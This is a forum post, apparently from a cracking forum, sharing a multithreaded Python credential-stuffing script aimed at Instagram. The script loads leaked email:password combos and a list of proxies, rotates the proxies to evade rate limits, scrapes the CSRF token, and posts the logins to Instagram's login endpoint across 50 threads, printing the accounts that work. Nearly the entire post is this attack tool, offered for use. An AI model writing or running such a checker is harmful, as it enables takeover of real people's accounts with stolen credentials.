NEPNEP
Cyber Incident Mapper
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 2
900 XP
Im trying to build some rep, please do not leech!! I'd appreciate it!
Edited by Deger, 24 May 2019 - 03:14 PM.
Code:
import re
import requests
from collections import deque
from threading import Thread
THREAD_COUNT = 50
USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) \
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15'
combos = deque()
with open('combos.txt', 'r') as f:
for i in f:
if ':' in i:
combos.append(i.strip())
proxies = []
proxyIndex = 0
with open('proxies.txt', 'r') as f:
for i in f:
if ':' in i:
proxies.append(i.strip())
def login():
global proxies
global proxyIndex
email, password = deque.pop().split(':')
proxyIndex += 1
proxy = proxies[proxyIndex % len(proxies)]
with requests.Session() as session:
proxy = {
'https': 'https://' + proxy,
}
session.proxies.update(proxy)
html = session.get(url='https://www.instagram.com',
headers={'User-Agent': USER_AGENT}).text
csrftoken = re.search(
'"csrf_token":"(?P<csrf_token>[A-Za-z0-9]+)"', html, re.MULTILINE).group(
'csrf_token')
data = {
'username': email,
'password': password,
}
headers = {
'User-Agent': USER_AGENT,
'Accept': '*/*',
'Accept-Language': 'en-US',
'Accept-Encoding': 'br, gzip, deflate',
'Connection': 'keep-alive',
'Host': 'www.instagram.com',
'X-CSRFToken': csrftoken,
'X-Requested-With': 'XMLHttpRequest',
'X-Instagram-AJAX': '1',
'Referer': 'https://www.instagram.com',
'Authority': 'www.instagram.com',
'Origin': 'https://www.instagram.com',
'Content-Type': 'application/x-www-form-urlencoded',
}
response = session.post('https://www.instagram.com/accounts/login/ajax/',
data=data, headers=headers)
try:
x = response.json()
if x.get('authenticated', False):
print(email + ':' + password)
return True
return False
except ValueError:
return False
def wrapper():
while len(combos) > 0:
try:
login()
except Exception:
pass
if __name__ == "__main__":
threads = [Thread(target=wrapper) for i in range(THREAD_COUNT)]
for i in threads:
i.start()
for i in threads:
i.join()